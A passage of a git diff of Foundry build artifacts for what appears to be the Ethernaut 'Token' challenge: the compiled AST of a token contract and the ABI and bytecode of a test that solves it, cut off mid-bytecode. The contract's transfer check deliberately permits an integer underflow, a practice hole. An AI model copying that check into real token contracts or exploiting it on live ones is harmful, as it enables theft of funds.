riableDeclaration","src":"78:36:12","nodes":[],"constant":false,"mutability":"mutable","name":"balances","overrides":null,"scope":1653,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"},"typeName":{"id":1586,"keyType":{"id":1584,"name":"address","nodeType":"ElementaryTypeName","src":"86:7:12","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Mapping","src":"78:27:12","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"},"valueType":{"id":1585,"name":"uint256","nodeType":"ElementaryTypeName","src":"97:7:12","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}},"value":null,"visibility":"internal"},{"id":1589,"nodeType":"VariableDeclaration","src":"120:26:12","nodes":[],"constant":false,"functionSelector":"18160ddd","mutability":"mutable","name":"totalSupply","overrides":null,"scope":1653,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":1588,"name":"uint256","nodeType":"ElementaryTypeName","src":"120:7:12","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"value":null,"visibility":"public"},{"id":1604,"nodeType":"FunctionDefinition","src":"153:111:12","nodes":[],"body":{"id":1603,"nodeType":"Block","src":"196:68:12","nodes":[],"statements":[{"expression":{"argumentTypes":null,"id":1601,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"argumentTypes":null,"baseExpression":{"argumentTypes":null,"id":1594,"name":"balances","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1587,"src":"206:8:12","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":1597,"indexExpression":{"argumentTypes":null,"expression":{"argumentTypes":null,"id":1595,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"215:3:12","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":1596,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberName":"sender","nodeType":"MemberAccess","referencedDeclaration":null,"src":"215:10:12","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"206:20:12","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"argumentTypes":null,"id":1600,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"argumentTypes":null,"id":1598,"name":"totalSupply","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1589,"src":"229:11:12","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"argumentTypes":null,"id":1599,"name":"_initialSupply","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1591,"src":"243:14:12","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"229:28:12","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"206:51:12","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":1602,"nodeType":"ExpressionStatement","src":"206:51:12"}]},"documentation":null,"implemented":true,"kind":"constructor","modifiers":[],"name":"","overrides":null,"parameters":{"id":1592,"nodeType":"ParameterList","parameters":[{"constant":false,"id":1591,"mutability":"mutable","name":"_initialSupply","nodeType":"VariableDeclaration","overrides":null,"scope":1604,"src":"165:22:12","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":1590,"name":"uint256","nodeType":"ElementaryTypeName","src":"165:7:12","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"value":null,"visibility":"internal"}],"src":"164:24:12"},"returnParameters":{"id":1593,"nodeType":"ParameterList","parameters":[],"src":"196:0:12"},"scope":1653,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":1640,"nodeType":"FunctionDefinition","src":"270:223:12","nodes":[],"body":{"id":1639,"nodeType":"Block","src":"339:154:12","nodes":[],"statements":[{"expression":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":1621,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"argumentTypes":null,"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":1619,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"argumentTypes":null,"baseExpression":{"argumentTypes":null,"id":1614,"name":"balances","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1587,"src":"357:8:12","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":1617,"indexExpression":{"argumentTypes":null,"expression":{"argumentTypes":null,"id":1615,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"366:3:12","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":1616,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberName":"sender","nodeType":"MemberAccess","referencedDeclaration":null,"src":"366:10:12","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"357:20:12","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"-","rightExpression":{"argumentTypes":null,"id":1618,"name":"_value","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1608,"src":"380:6:12","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"357:29:12","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":">=","rightExpression":{"argumentTypes":null,"hexValue":"30","id":1620,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"390:1:12","subdenomination":null,"typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"src":"357:34:12","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":1613,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"349:7:12","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":1622,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"349:43:12","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":1623,"nodeType":"ExpressionStatement","src":"349:43:12"},{"expression":{"argumentTypes":null,"id":1629,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"argumentTypes":null,"baseExpression":{"argumentTypes":null,"id":1624,"name":"balances","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1587,"src":"402:8:12","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":1627,"indexExpression":{"argumentTypes":null,"expression":{"argumentTypes":null,"id":1625,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"411:3:12","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":1626,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberName":"sender","nodeType":"MemberAccess","referencedDeclaration":null,"src":"411:10:12","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"402:20:12","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"-=","rightHandSide":{"argumentTypes":null,"id":1628,"name":"_value","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1608,"src":"426:6:12","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"402:30:12","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":1630,"nodeType":"ExpressionStatement","src":"402:30:12"},{"expression":{"argumentTypes":null,"id":1635,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"argumentTypes":null,"baseExpression":{"argumentTypes":null,"id":1631,"name":"balances","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1587,"src":"442:8:12","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":1633,"indexExpression":{"argumentTypes":null,"id":1632,"name":"_to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1606,"src":"451:3:12","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"442:13:12","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"+=","rightHandSide":{"argumentTypes":null,"id":1634,"name":"_value","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1608,"src":"459:6:12","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"442:23:12","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":1636,"nodeType":"ExpressionStatement","src":"442:23:12"},{"expression":{"argumentTypes":null,"hexValue":"74727565","id":1637,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"482:4:12","subdenomination":null,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"true"},"functionReturnParameters":1612,"id":1638,"nodeType":"Return","src":"475:11:12"}]},"documentation":null,"functionSelector":"a9059cbb","implemented":true,"kind":"function","modifiers":[],"name":"transfer","overrides":null,"parameters":{"id":1609,"nodeType":"ParameterList","parameters":[{"constant":false,"id":1606,"mutability":"mutable","name":"_to","nodeType":"VariableDeclaration","overrides":null,"scope":1640,"src":"288:11:12","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":1605,"name":"address","nodeType":"ElementaryTypeName","src":"288:7:12","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"value":null,"visibility":"internal"},{"constant":false,"id":1608,"mutability":"mutable","name":"_value","nodeType":"VariableDeclaration","overrides":null,"scope":1640,"src":"301:14:12","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":1607,"name":"uint256","nodeType":"ElementaryTypeName","src":"301:7:12","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"value":null,"visibility":"internal"}],"src":"287:29:12"},"returnParameters":{"id":1612,"nodeType":"ParameterList","parameters":[{"constant":false,"id":1611,"mutability":"mutable","name":"","nodeType":"VariableDeclaration","overrides":null,"scope":1640,"src":"333:4:12","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":1610,"name":"bool","nodeType":"ElementaryTypeName","src":"333:4:12","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"value":null,"visibility":"internal"}],"src":"332:6:12"},"scope":1653,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":1652,"nodeType":"FunctionDefinition","src":"499:113:12","nodes":[],"body":{"id":1651,"nodeType":"Block","src":"572:40:12","nodes":[],"statements":[{"expression":{"argumentTypes":null,"baseExpression":{"argumentTypes":null,"id":1647,"name":"balances","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1587,"src":"589:8:12","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":1649,"indexExpression":{"argumentTypes":null,"id":1648,"name":"_owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1642,"src":"598:6:12","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"589:16:12","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"functionReturnParameters":1646,"id":1650,"nodeType":"Return","src":"582:23:12"}]},"documentation":null,"functionSelector":"70a08231","implemented":true,"kind":"function","modifiers":[],"name":"balanceOf","overrides":null,"parameters":{"id":1643,"nodeType":"ParameterList","parameters":[{"constant":false,"id":1642,"mutability":"mutable","name":"_owner","nodeType":"VariableDeclaration","overrides":null,"scope":1652,"src":"518:14:12","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":1641,"name":"address","nodeType":"ElementaryTypeName","src":"518:7:12","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"value":null,"visibility":"internal"}],"src":"517:16:12"},"returnParameters":{"id":1646,"nodeType":"ParameterList","parameters":[{"constant":false,"id":1645,"mutability":"mutable","name":"balance","nodeType":"VariableDeclaration","overrides":null,"scope":1652,"src":"555:15:12","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":1644,"name":"uint256","nodeType":"ElementaryTypeName","src":"555:7:12","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"value":null,"visibility":"internal"}],"src":"554:17:12"},"scope":1653,"stateMutability":"view","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[],"contractDependencies":[],"contractKind":"contract","documentation":null,"fullyImplemented":true,"linearizedBaseContracts":[1653],"name":"Token","scope":1654}],"license":"MIT"},"id":12} \ No newline at end of file diff --git a/contracts/out/Token.t.sol/TestToken.json b/contracts/out/Token.t.sol/TestToken.json new file mode 100644 index 000000000..e3d9105cb --- /dev/null +++ b/contracts/out/Token.t.sol/TestToken.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"IS_TEST","inputs":[],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"function","name":"createLevelInstance","inputs":[{"name":"ethernaut","type":"address","internalType":"contract Ethernaut"},{"name":"level","type":"address","internalType":"contract Level"},{"name":"value","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"instance","type":"address","internalType":"address"}],"stateMutability":"nonpayable"},{"type":"function","name":"createUsers","inputs":[{"name":"userNum","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"","type":"address[]","internalType":"address payable[]"}],"stateMutability":"nonpayable"},{"type":"function","name":"excludeArtifacts","inputs":[],"outputs":[{"name":"excludedArtifacts_","type":"string[]","internalType":"string[]"}],"stateMutability":"view"},{"type":"function","name":"excludeContracts","inputs":[],"outputs":[{"name":"excludedContracts_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"excludeSenders","inputs":[],"outputs":[{"name":"excludedSenders_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"failed","inputs":[],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"function","name":"getEthernautWithStatsProxy","inputs":[{"name":"owner","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"address","internalType":"contract Ethernaut"}],"stateMutability":"nonpayable"},{"type":"function","name":"getNextUserAddress","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address payable"}],"stateMutability":"nonpayable"},{"type":"function","name":"getOldFactory","inputs":[{"name":"contractName","type":"string","internalType":"string"}],"outputs":[{"name":"addr","type":"address","internalType":"address"}],"stateMutability":"nonpayable"},{"type":"function","name":"mineBlocks","inputs":[{"name":"numBlocks","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"setUp","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"submitLevelInstance","inputs":[{"name":"ethernaut","type":"address","internalType":"contract Ethernaut"},{"name":"instance","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"nonpayable"},{"type":"function","name":"targetArtifactSelectors","inputs":[],"outputs":[{"name":"targetedArtifactSelectors_","type":"tuple[]","internalType":"struct StdInvariant.FuzzSelector[]","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"selectors","type":"bytes4[]","internalType":"bytes4[]"}]}],"stateMutability":"view"},{"type":"function","name":"targetArtifacts","inputs":[],"outputs":[{"name":"targetedArtifacts_","type":"string[]","internalType":"string[]"}],"stateMutability":"view"},{"type":"function","name":"targetContracts","inputs":[],"outputs":[{"name":"targetedContracts_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"targetInterfaces","inputs":[],"outputs":[{"name":"targetedInterfaces_","type":"tuple[]","internalType":"struct StdInvariant.FuzzInterface[]","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"artifacts","type":"string[]","internalType":"string[]"}]}],"stateMutability":"view"},{"type":"function","name":"targetSelectors","inputs":[],"outputs":[{"name":"targetedSelectors_","type":"tuple[]","internalType":"struct StdInvariant.FuzzSelector[]","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"selectors","type":"bytes4[]","internalType":"bytes4[]"}]}],"stateMutability":"view"},{"type":"function","name":"targetSenders","inputs":[],"outputs":[{"name":"targetedSenders_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"testInit","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"testSolve","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"event","name":"log","inputs":[{"name":"","type":"string","indexed":false,"internalType":"string"}],"anonymous":false},{"type":"event","name":"log_address","inputs":[{"name":"","type":"address","indexed":false,"internalType":"address"}],"anonymous":false},{"type":"event","name":"log_array","inputs":[{"name":"val","type":"uint256[]","indexed":false,"internalType":"uint256[]"}],"anonymous":false},{"type":"event","name":"log_array","inputs":[{"name":"val","type":"int256[]","indexed":false,"internalType":"int256[]"}],"anonymous":false},{"type":"event","name":"log_array","inputs":[{"name":"val","type":"address[]","indexed":false,"internalType":"address[]"}],"anonymous":false},{"type":"event","name":"log_bytes","inputs":[{"name":"","type":"bytes","indexed":false,"internalType":"bytes"}],"anonymous":false},{"type":"event","name":"log_bytes32","inputs":[{"name":"","type":"bytes32","indexed":false,"internalType":"bytes32"}],"anonymous":false},{"type":"event","name":"log_int","inputs":[{"name":"","type":"int256","indexed":false,"internalType":"int256"}],"anonymous":false},{"type":"event","name":"log_named_address","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"address","indexed":false,"internalType":"address"}],"anonymous":false},{"type":"event","name":"log_named_array","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"uint256[]","indexed":false,"internalType":"uint256[]"}],"anonymous":false},{"type":"event","name":"log_named_array","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"int256[]","indexed":false,"internalType":"int256[]"}],"anonymous":false},{"type":"event","name":"log_named_array","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"address[]","indexed":false,"internalType":"address[]"}],"anonymous":false},{"type":"event","name":"log_named_bytes","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"bytes","indexed":false,"internalType":"bytes"}],"anonymous":false},{"type":"event","name":"log_named_bytes32","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"bytes32","indexed":false,"internalType":"bytes32"}],"anonymous":false},{"type":"event","name":"log_named_decimal_int","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"int256","indexed":false,"internalType":"int256"},{"name":"decimals","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"log_named_decimal_uint","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"uint256","indexed":false,"internalType":"uint256"},{"name":"decimals","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"log_named_int","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"int256","indexed":false,"internalType":"int256"}],"anonymous":false},{"type":"event","name":"log_named_string","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"string","indexed":false,"internalType":"string"}],"anonymous":false},{"type":"event","name":"log_named_uint","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"log_string","inputs":[{"name":"","type":"string","indexed":false,"internalType":"string"}],"anonymous":false},{"type":"event","name":"log_uint","inputs":[{"name":"","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"logs","inputs":[{"name":"","type":"bytes","indexed":false,"internalType":"bytes"}],"anonymous":false}],"bytecode":{"object":"0x600c8054600160ff1991821681178355601e80549092161790556b75736572206164647265737360a01b60a05260805260ac6040527ffadd6953a0436e85528ded789af2e2b7e57c1cd7c68c5c3796d8ea67e0018db7601f55348015610063575f80fd5b50615b4b806100715f395ff3fe608060405234801562000010575f80fd5b50600436106200018c575f3560e01c806385226c8111620000e3578063b5d11e991162000093578063e20c9f71116200006b578063e20c9f711462000314578063f82de7b0146200031e578063fa7626d41462000335575f80fd5b8063b5d11e9914620002d3578063b90a68fa14620002dd578063ba414fa6146200030a575f80fd5b8063916a17c611620000c7578063916a17c614620002975780639b59adbc14620002a1578063b5508aa914620002c9575f80fd5b806385226c81146200026757806385db81cc1462000280575f80fd5b80633e5e3c23116200013f57806366d9a9a0116200012357806366d9a9a0146200022d578063792e11f51462000246578063832e5fc2146200025d575f80fd5b80633e5e3c2314620002195780633f7286f41462000223575f80fd5b80631ed7831c11620001735780631ed7831c14620001d05780632356661a14620001e95780632ade38801462000200575f80fd5b80630a9254e414620001905780631c7db669146200019c575b5f80fd5b6200019a62000343565b005b620001b3620001ad36600462001b07565b6200080d565b6040516001600160a01b0390911681526020015b60405180910390f35b620001da620009d7565b604051620001c7919062001b4a565b620001b3620001fa36600462001c36565b62000a39565b6200020a62000c04565b604051620001c7919062001d09565b620001da62000d4c565b620001da62000dac565b6200023762000e0c565b604051620001c7919062001dcc565b620001da6200025736600462001e99565b62000f06565b6200019a62001096565b62000271620011bf565b604051620001c7919062001eb1565b620001b36200029136600462001f17565b62001294565b62000237620013b3565b620002b8620002b236600462001f35565b620014ad565b6040519015158152602001620001c7565b620002716200163d565b6200019a62001712565b601f80546040805160208082018490528251808303820181529183019092528051910120909155620001b3565b620002b8620017a9565b620001da6200187d565b6200019a6200032f36600462001e99565b620018dd565b601e54620002b89060ff1681565b5f62000350600262000f06565b9050805f8151811062000367576200036762001f71565b60209081029190910101516022805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600560448201527f4f776e65720000000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b1580156200041c575f80fd5b505af11580156200042f573d5f803e3d5ffd5b505050508060018151811062000449576200044962001f71565b60209081029190910101516023805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600660448201527f506c6179657200000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b158015620004fe575f80fd5b505af115801562000511573d5f803e3d5ffd5b50506022546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b1580156200056c575f80fd5b505af11580156200057f573d5f803e3d5ffd5b50506022546200059b92506001600160a01b0316905062001294565b60205f6101000a8154816001600160a01b0302191690836001600160a01b031602179055505f620006016040518060400160405280600c81526020017f546f6b656e466163746f7279000000000000000000000000000000000000000081525062000a39565b6020546040517f202023d40000000000000000000000000000000000000000000000000000000081526001600160a01b03808416600483015292935091169063202023d4906024015f604051808303815f87803b15801562000661575f80fd5b505af115801562000674573d5f803e3d5ffd5b505050507f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620006d3575f80fd5b505af1158015620006e6573d5f803e3d5ffd5b50506023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b15801562000741575f80fd5b505af115801562000754573d5f803e3d5ffd5b50506020546200077292506001600160a01b03169050825f6200080d565b60215f6101000a8154816001600160a01b0302191690836001600160a01b031602179055507f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620007f2575f80fd5b505af115801562000805573d5f803e3d5ffd5b505050505050565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b15801562000869575f80fd5b505af11580156200087c573d5f803e3d5ffd5b50506040517fdfc86b170000000000000000000000000000000000000000000000000000000081526001600160a01b0386811660048301528716925063dfc86b17915084906024015f604051808303818588803b158015620008dc575f80fd5b505af1158015620008ef573d5f803e3d5ffd5b50505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af115801562000954573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f191682016040526200097d919081019062002012565b90508060018251620009909190620021a2565b81518110620009a357620009a362001f71565b60200260200101515f0151600281518110620009c357620009c362001f71565b60200260200101515f1c9150509392505050565b6060601680548060200260200160405190810160405280929190818152602001828054801562000a2f57602002820191905f5260205f20905b81546001600160a01b0316815260019091019060200180831162000a10575b5050505050905090565b5f807f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663d930a0e66040518163ffffffff1660e01b81526004015f60405180830381865afa15801562000a99573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000ac29190810190620021b8565b90505f81848560405160200162000adb9291906200220a565b60408051601f198184030181529082905262000afb9291602001620022b8565b60408051601f19818403018152908290527f60f9bb1100000000000000000000000000000000000000000000000000000000825291505f90737109709ecfa91a80626ff3989d68f67f5b1dd12d906360f9bb119062000b5f908590600401620022ea565b5f60405180830381865afa15801562000b7a573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000ba39190810190620021b8565b90505f62000bf06040518060400160405280601081526020017f2e62797465636f64652e6f626a65637400000000000000000000000000000000815250836200195190919063ffffffff16565b90508051602082015ff09695505050505050565b6060601d805480602002602001604051908101604052809291908181526020015f905b8282101562000d43575f84815260208082206040805180820182526002870290920180546001600160a01b03168352600181018054835181870281018701909452808452939591948681019491929084015b8282101562000d2b578382905f5260205f2001805462000c9990620022fe565b80601f016020809104026020016040519081016040528092919081815260200182805462000cc790620022fe565b801562000d165780601f1062000cec5761010080835404028352916020019162000d16565b820191905f5260205f20905b81548152906001019060200180831162000cf857829003601f168201915b50505050508152602001906001019062000c79565b50505050815250508152602001906001019062000c27565b50505050905090565b6060601880548060200260200160405190810160405280929190818152602001828054801562000a2f57602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a10575050505050905090565b6060601780548060200260200160405190810160405280929190818152602001828054801562000a2f57602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a10575050505050905090565b6060601b805480602002602001604051908101604052809291908181526020015f905b8282101562000d43575f8481526020908190206040805180820182526002860290920180546001600160a01b0316835260018101805483518187028101870190945280845293949193858301939283018282801562000eed57602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19168152602001906004019060208260030104928301926001038202915080841162000e995790505b5050505050815250508152602001906001019062000e2f565b60605f8267ffffffffffffffff81111562000f255762000f2562001b98565b60405190808252806020026020018201604052801562000f4f578160200160208202803683370190505b5090505f5b838110156200108f575f306001600160a01b031663b90a68fa6040518163ffffffff1660e01b81526004016020604051808303815f875af115801562000f9c573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000fc2919062002338565b6040517fc88a5e6d0000000000000000000000000000000000000000000000000000000081526001600160a01b038216600482015268056bc75e2d631000006024820152909150737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c88a5e6d906044015f604051808303815f87803b15801562001040575f80fd5b505af115801562001053573d5f803e3d5ffd5b50505050808383815181106200106d576200106d62001f71565b6001600160a01b03909216602092830291909101909101525060010162000f54565b5092915050565b6023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b158015620010ed575f80fd5b505af115801562001100573d5f803e3d5ffd5b50506021546040517fa9059cbb0000000000000000000000000000000000000000000000000000000081526001600160a01b039091166004820181905260156024830152925063a9059cbb91506044016020604051808303815f875af11580156200116d573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062001193919062002356565b50602054602154620011bd91620011b